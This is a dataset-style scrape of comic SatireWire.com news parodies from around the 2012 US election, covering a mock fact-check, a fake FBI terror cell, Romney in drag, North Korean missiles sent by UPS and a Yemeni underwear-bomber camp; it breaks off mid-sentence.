the Secret Service dubbed, “GlobalBang ’09’” because the spellcheck on their iPhones refused to accept “Foreignication.” We rate this allegation: Totally Hot. The Allegation: President Obama said he and Gov. Romney’s approaches to Israel are similar, while Romney said Obama has damaged U.S. relations with Israel. The Reality: First of all, President Obama couldn’t be more Jewish if he grew sidelocks and bought a movie studio. This transformation began four days into his presidency when, after sundown on Saturday, Jan. 24, Obama was circumcised in a secret bris performed by Israeli Prime Minister Benjamin Netanyahu, in which the then 47-year-old President reportedly “cried like a yutzi girl.” (And now you know where their “strained relationship” comes from.) Also, when visiting Israel or dining with Woody Allen, Obama refers to his wife and daughters as Miriam, Hashana and Dalia, and every Hanukah he has Jay-Z and Oprah perform the mother-in-law scene from “Yentl.” For his part, Romney has long vowed that if he had been U.S. president in the 2nd Century B.C. when the Jews rededicated the temple, he would have supplied enough American-drilled oil to keep the lamps burning for 8 million days. He also supports expanding West Bank settlements by building “modest, 10,000-square-foot homes” for middle-class settlers. And most telling, Romney has repeatedly stated that he loves Israel so much he wants to buy it. We rate these allegations “Feh!” The Allegation: Mitt Romney said President Obama did not support the uprising, a.k.a. Green Revolution, in Iran in 2009. Mitt Romney loves Israel so much he wants to buy it. The Reality: Barack Obama did support the green movement in Iran, secretly sending nearly 8,000 wind turbines to Tehran in the hopes they would drop their insistence on nuclear power and instead turn to renewable energies. Since the turbines came unassembled, President Mahmoud Ahmadinejad unfortunately mistook the 8,000 metal poles for short, portable minarets, which he distributed to nomadic anti-American clerics. The blades for the turbines, initially thought to be poorly made scimitars, were eventually given to madrasas and used to paddle impious 8-year-olds, which in turn led to the formation of the RBB, or Red Buttocks Brigade, who rose up to challenge Ahmadinejad, but sadly failed as most of the children only rose up to 3-feet 9-inches tall. We rate this allegation “A Pain in the Ass.” The Allegation: President Obama said the U.S. has fewer horses and bayonets than it did in 1916. The Reality: Misleading. Yes, the U.S. has fewer horses and bayonets than in 1916, but every year since 1916 the U.S. has had fewer horses and bayonets. That’s because in 1917 the U.S. Army decided to mount bayonets on all of its horses, a move that, due to a poorly planned, single-file charge during the Nivelle Offensive in France, decimated the U.S. horse population as, due to the nose-mounted bayonets and the strategic location of equine anatomy, 10,000 stallions were instantly turned into geldings. We rate this allegation “Neuter.” The Allegation: Mitt Romney said the U.S. Navy will soon have fewer ships than it did in 1916. The Reality: Misleading. Yes, the U.S. Navy will have fewer ships than in 1916, but every year since 1916 the U.S. has had fewer ships. That’s because 1917 was the year the U.S. Navy took the now surplus bayonets used to neuter horses and mounted them on ships, a move that, due to a poorly planned fleet-wide rendezvous off of Ireland, decimated the naval vessel population as, due to the bow-mounted bayonets and the strategic location of the waterline, 300 ships were instantly turned into submarines. We rate this allegation “S.O.S.” The Allegation: President Obama said Gov. Romney has talked tough on Iran, Syria, and China, but has often changed his stances. The Reality: Gov. Romney has in fact been very consistent about what he would do, it’s just that no one believes it. His strategy: On day one, as promised, President Romney would declare China a currency manipulator. To keep China from retaliating with trade tariffs, Romney would then agree to outsource U.S. currency manipulation — currently handled by the Treasury Department — to China, which can manipulate currency more cheaply. Utilizing his experience running the Salt Lake City Olympics, Romney will also make China pay a sponsorship fee to become the “Official Currency Manipulator of the U.S. Treasury,” which China can use in advertisements and on athletic wear. President Romney would then use the sponsorship fees, as well as the savings and tax deductions for outsourcing, to enact a leveraged buyout of Syria, which, in its distressed state, he would declare bankrupt, lay off its citizens, sell off its assets, and clear an estimated $480 million (after taxes and depreciation), which would be used to pay for a war against Iran, unless Iran backs down, in which case he will just buy a really nice horse for his wife. We rate this allegation “Best in Show.” The Allegation: President Obama said Gov. Romney would not have given the order to kill Osama bin Laden. The Reality: Mitt Romney did give the order to kill Osama bin Laden. On the evening of May 1, 2011, the day before bin Laden was shot by Navy SEALS, Romney was speaking to small business owners in Portsmouth, N.H., and shocked the group by asking them to do three things: Vote for him Keep creating jobs for America Kill Osama bin Laden “I was surprised Gov. Romney ordered us to kill bin Laden,” said Bill Nordstar, a grocer in nearby Dover. “Don’t get me wrong, I wasn’t against it. But I had a stock count that was gonna take all day, plus I also wasn’t in Pakistan.” Added local motel manager Glenn Reese: “We’re sitting there around this big table, talking economics, when suddenly the Governor says, ‘Gentlemen, I want you to kill bin Laden.’ So Shelley, who owns the coffee shop and is the only woman in our group, she says, ‘Gentlemen? What about me?’ and Romney says, ‘Oh, right. Can you cook dinner for the guys when they’re done?’ Of course Shelley gets up and walks out. The next day bin Laden gets killed. Shelley calls me. ‘Oh my God,’ she says, ‘was that you guys did that?’ So I, well, let’s just say I’ve been getting free donuts the past year.” We rate this allegation “Fattening.” '], ['no-topic', 'FBI LAUNCHES OWN AL QAEDA CELL TO LURE WOULD-BE TERRORISTS', "NEW YORK, N.Y. (SatireWire.com) — In an effort to streamline terrorist sting operations, the FBI today said it has launched its own al Qaeda cell, which is much better funded and organized, allowing amateur ‘would-be’ terrorists to quickly become convictable, ‘is-now’ terrorists. A G-had Men recruiting poster, promising to turn 'would-be' terrorists into 'is-now' terrorists. “It’s very difficult to catch people who might become terrorists because too often they never get the opportunity,” said FBI spokesman Mike Petarky. “It’s a business cliché, but it’s really all about networking. You can have all the hatred and rage in the world, but if you don’t meet the right people, you’ll never realize your potential.” The FBI, Petarky boasted, is full of those ‘right people.’ “The Bureau carries out a dozen sting operations on terrorists every year,” he said. “Our people know terrorism inside and out: how to build a cell, how to increase membership, where to get weapons. And most importantly, we know how to plan a half-decent attack. Honestly, you’d be shocked at how much most sleeper cells suck at that.” As evidence, Petarky cited the recent arrest of Bangladeshi student Quazi Mohammad Rezwanul Ahsan Nafis, who allegedly attempted to blow up the Federal Reserve Building in Manhattan. “Seriously, people like Nafis would be nothing without us,” he said. “We have to do everything: give them the money, suggest targets, even sell them the fake bomb materials. That’s when we thought, ‘Hell, we could do this better ourselves.’” The FBI-based cell, nicknamed the G-had Men, will be much more effective, promised cell leader Joey ‘Mustafa’ McCarthy, (not his real name). “A lot of these sleeper cells leave you on your own, but we’re all-inclusive,” said Mustafa. “We provide food, shelter, literature, training, weapons. And since we’re government, the benefits are great. I mean, I’d blow up a building for full dental.” But to create that indictable ‘is-now’ terrorist, the FBI goes a step farther. “We’ll actually go out with the suspect and bomb something,” Mustafa said. “And before you start saying, ‘Hey, that’s irresponsible,’ we’ve already thought of that.” Specifically, Mustafa said the FBI has learned from past mistakes, notably the Justice Department’s infamous “Fast and Furious” program, where the U.S. supplied criminals with weapons later used against its own agents. “Fast and Furious was poorly thought out,” Mustafa admitted. “So in this new program, our agents are the ones who fire the guns and detonate the bombs. The ‘recruits’ don’t actually do anything. Legally they’re still terrorists, since they’re part of the attack, but no one can blame us for ‘arming the enemy’ because technically we don’t.” While the FBI won’t comment on pending operations, Mustafa said his G-had Men have already been recognized for excellence, winning ‘Cell of the Month’ for October from the North American Extremist Association, a trade group the Bureau itself started. “The G-had Men is by far the most organized, dangerous cell in the Western Hemisphere outside of Berlin,” said Mustafa, deferring to a terror network launched by Germany’s FBI counterpart, the Federal Criminal Police Office, which he conceded was, “really a model of radical, Aryan-Islamist efficiency. Scares the shit out of me personally. But that’s the Germans for you, right?” "], ['no-topic', 'MATH COMMITS SUICIDE', 'WASHINGTON, D.C. (SatireWire.com) – Math – the universal science of number, quantity, shape, and space – was found dead in a Dupont Circle hotel room this morning, the apparent victim of suicide induced by its inability to adjust to American politics, where numbers have no meaning and reality does not add up. Math was found dangling from the midpoint of an ellipses. In a rambling suicide note, written in Fibonacci and decoded, Math said it could no longer live in a world where it was so often abused, and blamed the U.S. presidential campaigns of Mitt Romney and Barack Obama for sending it over the edge. “Gov. Romney said he could cut taxes, increase military spending, reduce the deficit, and it would all add up,” Math scrawled. “President Obama said he would decrease spending, invest in education, save entitlements, and it would all add up. And they both kept saying the same thing, over and over: ‘It’s math! It’s simple math!’ “But I’m Math, damnit, and I can’t do it I can’t do it!” Math lamented. According to D.C. police, Math was found dangling from the midpoint of an ellipse. Its vertices were fixed and dilated. “Math passed away at 7:19 this morning,” said Metro Police spokesman Lt. Marvin Tarten. “We know this because all our clocks stopped at 7:19 this morning and as far as we can tell it’s still 7:19 this morning because we’re now not sure what comes after 7:19.” Math’s oldest friend, History, said existence had recently been difficult for its late colleague. The Greek government outlawed Math years ago, while Spain and other parts of Europe no longer took it seriously. Despite the setbacks, Math went to Washington, D.C., hoping to make a stand against chronic miscalculation. “Math viewed Washington like a young man does New York City,” History recalled. “It thought, ‘If I can make it here, I’ll make it anywhere.” But the dream quickly went fractal, said Georgetown psychologist Stefan Beurg, who was treating Math for polynomial depression. “After just one White House deficit reduction meeting, Math started to doubt itself,” said Beurg. “Then after meeting with Romney aides, it just sat in its room for days miscalculating pi. Eventually it became irrational, started doing parallel lines. And then the harder stuff: nth roots, Platonic solids.” “It’s sad,” said History, “but most of the time dreams don’t come true. Something like XX percent don’t make it. Unfortunately, I don’t know exactly what percent because Math is dead.” But is Math gone forever? Maybe not, said another of its colleagues, Language. “Math is kind of like Tinker Bell, like fairies,” Language said. “You have to believe in it. So I think we can bring it back. We just all have to say, ‘I do believe in Math. I do believe in Math!’” At press time, however, Math was still dead. The Romney and Obama campaigns are expected to blame each other for not believing hard enough. '], ['no-topic', 'SKYDIVER BREAKS RECORD FOR FREE-FALL SWEARING', "ROSWELL, N.M. (SatireWire.com) — In a giant leap from the edge of space Sunday, Austrian skydiver Felix Baumgartner shattered records for supersonic speed, high altitude jumping, and free-fall swearing in a nerve-wracking, 24-mile plunge to Earth. An estimated 8 minutes of Baumgartner's 10-minute oxygen supply was used up cursing. ‘Holy shiiiiiit…!” Baumgartner shouted as he stepped off his balloon-tethered capsule more than 128,000 feet above the New Mexico desert and descended into the history of free-fall obscenity. “I’m fucked I’m fucked I’m fucked!” he added, for much of the rest of the fall, which wisely had been put on 20-second tape-delay. Only moments before, the enterprise had seemed in jeopardy as the daredevil could be heard muttering, “Bad idea bad idea bad idea” to himself, and, “Fuck no fuck no fuck no” to ground crew who were urging him to make the drop. But with no other way down, Baumgartner finally let loose both his grip and a string of what would become supersonic expletives. In a 4 minute, 19 second free fall, Baumgartner’s body broke the sound barrier, dropping at 1,221 feet per second, or roughly 3,600 motherfuckers an hour. “Not only did I fall faster than a motherfucker, I fell faster than I could even hear myself say ‘motherfucker,’” said Baumgartner in a post-jump press conference. During the dive, he broke a string of 52-year-old records held by Baumgartner’s mentor and mission control leader, Joe Kittinger, who jumped from 19.5 miles in 1960 and swore at 614 miles per hour. Still, the exploits of the man known as “Fearless Felix” must be verified by the Federation Aeronautique Explétif Internationale before he can go into the record books as “Fucking Fearless Felix.” It was no easy record to set. Baumgartner and his Red Bull Stratos team trained for five years for the jump. At one harrowing point during the fall, the skydiver tumbled out of control, causing those on the ground to fear for his life. While ground control tried to maintain contact, there was an uncomfortable 20-second radio silence as his family, and the world, waited. “Felix? Felix, do you copy?” Kittinger asked. “Felix? Keep talking. Say something.” Finally, a battered, weary voice broke through the static. “Fuck that,” Baumgartner said, to cheers of joy and sighs of relief in the control room. More than nine minutes after leaving the capsule, Baumgartner parachuted to the ground, dropping to his knees, where he raised his arms and thanked fucking God. "], ['no-topic', 'ROMNEY, IN DRAG, DENIES HE HAS TACKED TOO FAR LEFT', 'SAN FRANCISCO (SatireWire.com) – In a spirited stump speech today, Mitt Romney denied he has changed positions or tacked to the left, although observers couldn’t help but notice the Governor was dressed in drag and wore a rainbow-colored U.S. lapel pin. Paul Ryan and Mitt Romney in a red Oscar de la Renta dress, belted at the waist with a slightly belled skirt. “My opponents say I’m inconsistent, that I lack conviction,” said the Governor, sporting a red Oscar de la Renta dress, belted at the waist, with elbow-length sleeves and a slightly belled skirt. “But I have always believed in fairness. I have always believed in equality. I have always said I will equally represent the men and women of this great country because, obviously, I am equally a man and woman of this great country.” Romney advisers and supporters quickly backed the noticeably transgender candidate, insisting he had not changed at all. “This is not news. This is not inconsistent,” said running mate Paul Ryan. “Remember, until recently, even people in the Republican Party were saying Romney was a drag on the ticket. This is what everyone meant – a guy in drag on the ticket.” Reacting to Democratic accusations that the GOP candidate was tacking to the left yet again, the Romney campaign blamed the liberal media for refusing to see the woman inside, who has been there all along. “It’s ironic that the so-called ‘liberals’ who insist we don’t judge a president by the color of his skin are suddenly judging the Governor by the color of his skirt,” said senior adviser Bay Buchanan. “Mr… Mrs… Governor Romney said only last week that he supported 100 percent of America. Why? Because he is the 100 percent.” In a discussion on the television show “Fox & Friends” this morning, co-anchors Steve Doocey, Gretchen Carlson and Brian Kilmeade buoyed the campaign’s claim. DOOCEY: So Mitt Romney is a woman. How is that a surprise? KILMEADE: Right. I mean ‘Duh.’ He’s changed his mind so often, of course he’s a woman!” DOOCEY: No no Brian. You mean he hasn’t changed. Think about it. Remember that time he said he was worried he might get a pink slip? He was literally talking about buying a pink slip. CARLSON: And when he told ABC he wears, ‘as little as possible’ to bed? It’s because of the L’Oreal Overnight Moisturizer. That stuff sticks to your negligee. DOOCEY: Yeah. And what was the first thing you thought that time when Romney said he liked firing people?” KILMEADE: I thought, ‘What a bitch!’ DOOCEY: Exactly. KILMEADE: And what about all the lying he’s been doing? I mean, my wife lies to me all the time. And she’s a woman, too! DOOCEY: No Brian, you mean she’s consistent with you. KILMEADE: Right. Lies consistently. But who can blame her? Back in San Francisco, Romney insisted his appearance should not be interpreted as an attempt to garner the female vote, or as a change in his stance against gay marriage. “I still believe and have always believed that marriage should be defined as the union of one man and one woman,” he said. “But I refuse to define what a man or woman is.” '], ['no-topic', 'SURVEY MORE OR LESS SAYS HALF OF AMERICANS GOING TO HELL', 'WASHINGTON, D.C. (SatireWire.com) — For the first time in the nation’s history, the majority of Americans are not Protestant and are therefore going to hell, a new Pew Research poll concluded if you think about it. Pew said people are turned off by religion because it is too concerned with, "money, power, rules, and politics." So don\'t look for the name \'Pew\' on the Rapture list. Conducted by Pew’s Forum on Religion & Public Life, the survey found that only 48 percent of respondents identify themselves as Protestant, while 52 percent of Americans essentially said they have chosen, upon their deaths, to suffer forever amongst the infected pustules on the scarred and crusted lining of Satan’s anus. Without actually using the term “usual suspects,” Pew points out that this new, eternally condemned majority contains the usual suspects — Catholics, Jews, Muslims, and whatever Mormons are. But it was the 49 million Americans with no religious affiliation – atheists, agnostics, “intellectuals,” and no doubt the sin-ridden, ungrateful runaway children of Southern evangelicals — who put the damned over the top, researchers would have found if they had dug a little deeper. “America has always been a God-fearing fortress of Christian Protestant light, but like the Godless socialists in Europe, many Americans today are less interested in entering the gates of Heaven than they are spending eternity pleasuring Beelzebub’s serrated, maggot-infested genitalia,” the report stated, although not in those words specifically. Unlike the shock the damned will feel as they depart this Earth and sink down into the fiery depths weeping and wailing in terror while being forced to consume their own flayed skin through a flaming straw made from their own entrails, the poll results did not come as a surprise. Since the mid 1980s, the percentage of non-Protestant damned Americans has steadily risen from 35 percent to its present 52 percent. For the record, Pew spokesman Meyer Goldman denied the poll identifies the damned, but as he’s obviously Jewish and therefore condemned like all non-Protestants to spend the afterlife in the everlasting agony of having his eyeballs gouged out by foul-breathed eels which spring from the damned’s own screaming maw, that’s what he would say. '], ['no-topic', 'NORTH KOREA WARNS MISSILES CAN REACH U.S. IN 2 DAYS VIA UPS', 'PYONGYANG (SatireWire.com) — Reacting to South Korea’s recent deal with the United States to extend the range of its missiles, North Korea surprised the world Tuesday by claiming it now has missiles that can reach the U.S. mainland. If those missiles are sent via UPS 2nd Day Air. Taking advantage of logistics, North Korea can deliver death anytime except major holidays, Sundays, or weekdays after 9 p.m. In a saber-rattling statement, the state-run Korean Central News Agency said its missiles could, “not only strike America, but also deliver fiery death to the imperialist puppet forces in Japan via UPS Next Day Air Early A.M., and total devastation to the war-mongering pawns in Guam via UPS Next Day Air Saver. “We have long possessed the armament yet lacked a delivery method, but today our Dear Leader Kim Jong-un announces he has discovered that ability and can reign down everlasting annihilation any time, any place,” the statement added. “Except on major holidays, Sundays, or weekdays after 9 p.m.” Analysts have long derided North Korea’s missile capability, especially after its failed launch last Spring, and quickly dismissed the new threat, noting UPS doesn’t offer service from North Korea to the U.S. But North Korean Defense Minister Kim Jo-Li says they have worked around that issue. “Our current technology allows us to fire a missile just beyond our borders, where it will land in a UPS-friendly country, be picked up by our agents, packaged, and sent with the appropriate delivery method,” Jo-Li said. But why UPS? “When you’re in the small despotic nation business, you need a partner you can trust,” he replied. “UPS delivers more packages overnight on time in the U.S. than any other carrier. Now that’s a track record we can count on. “And their new mobile app allows us to track our missiles in real time, which is good, because our radar instruments were made in 1940,” he added. North Korea also warned against a Western first strike. “If the United States and its devil allies attempt to strike our sacred homeland, we have missiles packed and ticketed, with tracking numbers, ready to go UPS Ground. So even if we’re dead, four to seven business days later, boom, we will have our revenge,” Jo-Li said. '], ['no-topic', 'JOB NUMBERS MORE FUCKING CONFUSING THAN EXPECTED', 'WASHINGTON, D.C. (SatireWire.com) — The unemployment rate in September dropped to 7.8 percent while manufacturing job losses rose and temporary jobs declined and total jobs rose, numbers that analysts said are way more fucking confusing than expected. The Labor Department released this image of a bran muffin with its report just to mess with you. With 114,000 jobs created in the month, the rate dropped below 8 percent for the first time since President Obama took office, which sounds encouraging, except the Labor Department also revised upward its figures for July and August, meaning that while the number of jobs rose, the number of jobs also fell, “so you fuckin’ figure it out,” the Labor Department noted. “Clearly these numbers are very good if you look at them one way, and bad if your turn them the other way, and looked at straight on are the statistical equivalent of vomiting from the outside in and no I have no idea what I just said,” explained Wells Fargo analyst Chase Stepernick. “OK, what I mean is, it’s great that employers actually added 142,000 jobs in August instead of the reported 96,000, and added 181,000 in July instead of the reported 141,000, but then adding only 114,000 in September looks worse, except that we only expected 113,000 for September, so in the end I fucking hate my job.” Asked why unemployment went down while the combined number of unemployed and underemployed held steady at 14.7 million, Stepernick replied: “Bite me.” The Department also noted the labor force participation rate rose slightly to 63.6 percent in September from 63.5 percent in August, which was a positive surprise completely negated by the fact that no one really has any idea what that shit really means. On the political front, the Obama campaign hailed what it decided might possibly be the positive aspects of the report while Mitt Romney supporters accused the Labor Department of manipulating the numbers to make the President look good while stressing that those same numbers in fact make the President look bad which really makes no fucking sense either. '], ['no-topic', 'KITCHENAID APOLOGIZES FOR OFFENSIVE TWEET, APPLIANCES', "CHICAGO (SatireWire.com) — Appliance maker KitchenAid, chastised for sending a company tweet during the presidential debate that mocked the death of Barack Obama’s grandmother, found itself under the gun again today after an internal investigation discovered the firm sells a food processor that makes fun of your disabled friends, and a microwave oven that carries the warning: “Prolonged exposure to radiation may cause cancer like what killed your fat sister.” In the 1940s, KitchenAid accidentally released a line of bakeware making fun of President Franklin Roosevelt's polio. “KitchenAid would like to apologize to the Obama family for the wholly inappropriate tweet sent by an employee, and to cancer sufferers and the overweight for the hurtful message apparently propagated by our ovens,” said KitchenAid spokewoman Martha Cabaye. “Also, at this time, we would like to preemptively apologize to ethnic minorities for what appears to be our line of racist toasters.” Cabaye was referring to the BreadMaster 4-slice model, on which the traditional settings numbered 1 through 5, “seem to have been replaced by ‘White, Chinesey, Mexican, Black, and N.W.A.’” In reaction to the backlash against KitchenAid, rival company Bosch said it will scrap plans to launch a new line of ScourSafe dishwashers that leave glasses, “so clean and sparkly it’s like something your gay brother would wear,” while Kenmore has recalled its TopYou gas stoves which include the label: “Please remember to turn the gas off unless you want to commit suicide like your best friend in high school oh quit crying about it she was a loser anyway so no biggie.” On a positive note, KitchenAid did send out a tweet today announcing record sales of its 500 series wine refrigerators, noting they were, “perfect for alcoholics like ur father I mean ur real father u know the 1 who died in prison oh ha ha sorry thought u knew.” "], ['no-topic', 'OBAMA LOSES DEBATE; ALSO ANY HOPE FOR ANNIVERSARY SEX', "DENVER, CO. (SatireWire.com) – Following his weak showing in Wednesday’s debate with Mitt Romney, President Obama’s 20th wedding anniversary ended in further disappointment as sources say the First Lady refused to have anniversary sex with, “a man who has clearly lost his balls.” Despite Colorado's status as a red state, the President found himself in a blue state. Moments after returning to their Denver hotel room following the contest, Mrs. Obama reportedly turned out the lights and pretended to be asleep. A transcript of their post-debate debate follows: PRESIDENT: Michelle? Honey? You asleep? FIRST LADY: Yeah. I’m pretending to be you at the debate. PRESIDENT: Look, I don’t wanna talk about this right now. FIRST LADY: Are you talkin’ to me or Jim Lehrer? Cause you coulda said the same thing to him. Probably should’ve. Saved everybody the trouble. PRESIDENT: Hey, I thought I connected at some points. FIRST LADY: With the floor. You seemed very in touch with the floor. I imagine you’ve locked up the linoleum and parquet vote. PRESIDENT: I wasn’t looking at the floor. FIRST LADY: Oh, then why were you always looking down? To find your balls? Cause you clearly lost ‘em. PRESIDENT: Oh c’mon baby. Was I that flat? FIRST LADY: Stephen Hawking is more animated than you. PRESIDENT: Alright, it wasn’t my best night. FIRST LADY: And it isn’t going to get any better. PRESIDENT: C’mon now, it’s our anniversary. FIRST LADY: It’s your anniversorry. PRESIDENT: I was just off my game. FIRST LADY: And you’re not getting on my game. Now go to sleep. PRESIDENT: But Michelle… FIRST LADY: Barack, I’m gonna tell you what you told the American people tonight: ‘Right now, I’m not that into you.’ PRESIDENT: You’d refuse the President? FIRST LADY: Just think of me as the United States of America. PRESIDENT: You’re willing to say, ‘Yes we can?’ FIRST LADY: No, I’m suffering from high unenjoyment. PRESIDENT: OK OK. … Look, if you don’t wanna… how ‘bout if we just… FIRST LADY: I am not a ‘job creator,’ capice? Now go jump off a fiscal cliff. (Prolonged silence…) PRESIDENT: (makes whooshing noise) Hey, what’s that? FIRST LADY: What? PRESIDENT: (makes jet engine noise) FIRST LADY: Not now. PRESIDENT: (makes louder jet engine noise) FIRST LADY: I’m serious. Go away. PRESIDENT: Better buckle up. Air Force One wants to come in for a landing! FIRST LADY: You’re not cleared on this runway. PRESIDENT: But it’s an emergency! FIRST LADY: Too bad. Circle round and dump your fuel somewhere else. (Prolonged silence…) PRESIDENT: After 20 years, I think I’m entitled to something. FIRST LADY: Mr. President, you are entitled to your own airplane, to your own house, but you’re not entitled to me. PRESIDENT: You sound like Mitt Romney. FIRST LADY: Good. That seems to make you lose interest. "], ['no-topic', 'AMERICAN AIRLINES REBRANDS LOOSE SEATS AS ‘FLEXISEATS’', 'DALLAS, TX (SatireWire.com) — Reacting to rows of seats that came loose in flight, American Airlines today said it has inspected nearly 50 of its Boeing 757s and concluded the seats that tip back offer 68 percent more leg- and headroom and will now be considered an upgrade. The Flexiseat will be available on random flights starting last week. In the past week, seat rows on three American flights have come loose, causing passengers to tip back onto the row behind them. The airline said poorly installed clamps were to blame. “We could remove all the seats and replace the faulty clamps at great cost, or we could simply call them ‘Flexiseats’ and charge a premium,” said AA spokeswoman Carly Cazorla. “We think our shareholders prefer the latter.” “Really, they’re almost like those first-class seats that fold down into a bed,” she added. “You’re essentially horizontal.” Instead of booking a particular row and seat, the airline said all AA passengers will now have the option to request a “sort of general region” where they’d like to end up by the time the flight lands. If they do choose to book a seat, such as 12A, for example, they get a notice that says, “Please be advised that row 12 could suddenly become row 13. In that event, your credit card will automatically be charged for the upgrade.” The shifting row, however, would appear to disadvantage passengers behind the Flexiseats. “Yes, but for the inconvenience those passengers go through, we will offer, in-flight, an extra bag of peanuts,” Cazorla said. “And think of the other perks. Those two passengers can now share a book, or perhaps a laptop videogame. Online travel site SeatGuru.com, which evaluates individual airplane seats for flyers, has already updated its system to offer advice about the new AA feature. Mousing over row 18 on its Boeing 757-200 chart reveals the following: “Seats 18 D, E, and F may offer extra legroom and headroom and good views of the ceiling. An upgrade charge applies.” The cost of that upgrade has not been decided, but will likely be “exorbitant,” Cazorla said, since American’s competitors do not offer the Flexiseat option. '], ['no-topic', 'MEN LINING UP FOR LIFE-EXTENDING CASTRATIONS', 'NEW YORK, N.Y. (SatireWire.com) – Only a day after a new study revealed that castrated men live significantly longer lives, surgical centers around the country were swamped with men demanding to have their testicles removed. Men in Chicago wait outside a Cherry Pickers neuter boutique, a new chain owned by the Spay Club for Men. “I was on a diet. I exercised. I took cholesterol medication. And all I had to do this whole time was cut my balls off? Damn, do I feel stupid,” said Joseph Barton of Phoenix City, Ala., who found a large animal veterinarian to do the job. “We’ve had men lined up around the block since the news broke yesterday,” said Dr. Gil Sigurdsson, who usually performs castrations, also known as orchiectomies, on transgender patients in his Manhattan office. “We have never been so busy. It’s balls to the wall in here, literally. Also figuratively.” “Seriously, it’s a safety issue,” he added. “It’s like a carpet of marbles. I’ve fallen down six times already.” The study, published in the journal Current Biology, showed that castrated men lived nearly 20 years longer than “intact” men. The report was based on the life expectancy of eunuchs in Korea’s Chosun Dynasty, which ran from 1392 to 1910. In San Diego, Cal., Robbie Cattermole was among the first in his area to have his testes removed after his wife Carlene told him about the study. Cattermole conceded he would have preferred anesthesia, but Carlene convinced him that they would need all their extra cash for their now longer retirement together. Carlene also saved money by performing the surgery herself, he said. Like Carlene, a surprising number of women have shown a keen interest in performing or encouraging the procedure, according to Chicago urologist Dr. Marvin Shaktar. “We’ve had calls from at least a thousand women wanting to sign up their husbands and boyfriends, obviously hoping to prolong their relationships,” said Shaktar. “Kind of renews your belief in love, really.” Planned Parenthood, meanwhile, has come out in support of the surgery, since it is a form of birth control. “But it’s not a spur-of-the-moment decision,” warned Planned Parenthood Director Naomi Wigan. “Men should think long and hard before they do anything … well maybe ‘long and hard’ isn’t the right way to put it.” Contrary to popular belief, however, castrated men can still have sex, they just can’t impregnate. But there are drawbacks. The procedure is painful, and neutered men often report feeling emasculated. But that didn’t deter Lakewood, Ill., resident Karl Jenkinson from going through with it. “I’ve been married 20 years, have three teenage daughters, and drive a minivan,” Jenkinson said. “Pain and emasculation were already part of my life.” '], ['no-topic', 'BILL REQUIRES SCHOOLS TO RAISE OUR CHILDREN, BEAR OUR CHILDREN', 'WASHINGTON, D.C. (SatireWire.com) – Teachers in public schools, increasingly burdened with the responsibility of raising the nation’s children, will have to bear the nation’s children as well, according to a new bill in the U.S. House of Representatives. Teachers will be artificially inseminated unless already sleeping with a student. The proposal, which calls for the widespread in vitro fertilization of teachers, solves a dilemma for schools and educators, which are currently asked to be surrogate parents despite not being primarily responsible. “The situation is entirely unfair to both students and educators as too many parents today refuse to accept responsibility,” said Rep. Craig Estep (R-VA). “Too often they expect the schools to step in. Too often they blame the schools and the teachers when something goes wrong in their child’s life. “But if the teacher actually carries and delivers that child, then blaming that teacher for any problems finally makes sense. After all, it’s their kid too.” “Sometimes the simplest solutions are the best,” he added. The legislation, said co-sponsor Rep. Nathaniel Clyne (D-La.), also addresses a common complaint from educators. “Schools always claim that it’s not their fault, that education begins at home,” said Clyne. “Well, if a child’s education begins at home, where better to begin a child than in the home of an educator? I don’t think they’ll have any more excuses after this.” Teachers, however, lambasted the proposal. “With over-crowded classrooms and shrinking budgets, our nation’s public schools are hampered enough,” said NEA Assistant Director Lila Van Persie. “This bill would worsen the situation as every female teacher would be constantly be out on maternity leave.” Rep. Estep, however, said he considered that, which is why the bill is unisex. “It doesn’t discriminate,” he said. “Both men and women teachers will have to bear children. We figured that way even liberal NEA types would support it.” “That’s… impossible!” Van Persie replied. “Hypocrite,” Estep answered. U.S. Department of Education spokeswoman Ella Toofee, meanwhile, called the bill outrageous and said she will not stand for it. “No, you shouldn’t stand for it,” Rep. Clyne agreed. “You’d have to lie down. There’s a whole procedure involved when you give birth. As an educator you should probably know that.” Clyne added that Toofee might want to take a middle school health class. “That’s where my son learned about sex and childbirth and all that,” he explained. “Made my life easier. Except when he got that girl pregnant.” '], ['no-topic', 'IN THE LAIR OF GENITAL QAEDA: LIFE IN AN UNDERWEAR BOMBER CAMP', "YEMEN (SatireWire.com) — The days are long, the training merciless, the mission terrifying. And in the end, if you’re very, very successful, your groin explodes. Such is the short, painful life of the underwear bomber. If, that is, one ever succeeds. So far – thanks in part to ineptitude and in part to U.S. intelligence work – none have. But these uniquely deranged terrorists, a particularly committed subset of Al Qaeda known as Genital Qaeda, continue to try to bring down a U.S. airliner. Recruits from Genital Qaeda, seen here in Yemen, are not to be confused with their Afghan counterparts, the notorious Tallywhackerban. (Photo by Col. Umar) To understand how serious the threat is, we traveled to the remote Yemeni camp where these self-styled penisuicide bombers are trained to bring death from below. DAY 1 It is 5 a.m., just before dawn, when the raw recruits are roused from their restless, rock-cushioned slumber. Niwad, a rough-hewn, heavyset al Qaeda drill sergeant, orders the bedraggled young men, dressed in dirt-encrusted khakis, to form two lines. “My brothers, before you came here, you said goodbye to your friends, to your families, to your former lives,” he says in Arabic. “But today, before we begin training, you must also say goodbye to something no less precious. Your man parts. Do this now. For you must sever your attachment to them figuratively before you can do it literally.” Quietly, lovingly, one by one, the volunteers peer at their groins. Some look down and wave. Others utter silent thank yous. A few sob. One young recruit, whose peach-fuzz beard barely conceals his quivering chin, covers his genitals with his hands and looks pleadingly at Niwad. He mouths the word, ‘No.’ Niwad shoots him. DAY 3 Sit-ups. Leg lifts. Catching a medicine ball. In the crotch. The first week of training is intense, and intensely painful. Before they can begin working with underwear, the recruits must prove their nether regions are as stubborn as their owners. “There is so much swelling,” moans Atash, a 22-year-old Somali. “My testicles are the size of Djibouti.” He is sent to see the camp commander, Col. Umar, who has instructed recruits be sent to him whenever genitals need inspecting. Thirty minutes later, Atash returns. “I don’t want to talk about it,” he says. DAY 5 All the days have been difficult, but this one has no equal. From dawn to dusk, men sink to their knees. Writhe in agony. Some beg to be put to death. The reason: blast training. To prepare the men for the initial feeling of a bomb going off in their pants, they are subjected to increasing levels of undergarment combustion. “We start with small explosions,” Niwad explains. “First we drop Mentos and Coca-Cola down their pants. Then we move up to sparklers, firecrackers, and eventually what you call ‘cherry bombs.’” It’s meant to build mental toughness, he says, and also to deaden nerve endings. This makes Genital Qaeda bombers less nervous, and less likely to be caught, when passing through airport security. If it seems insane, Niwad says that’s because it is. “There is a saying here in camp: ‘To be in Al Qaeda takes commitment. To be a suicide bomber takes great commitment. But to be in Genital Qaeda, you have to be nuts.’ “Which is ironic,” he adds, 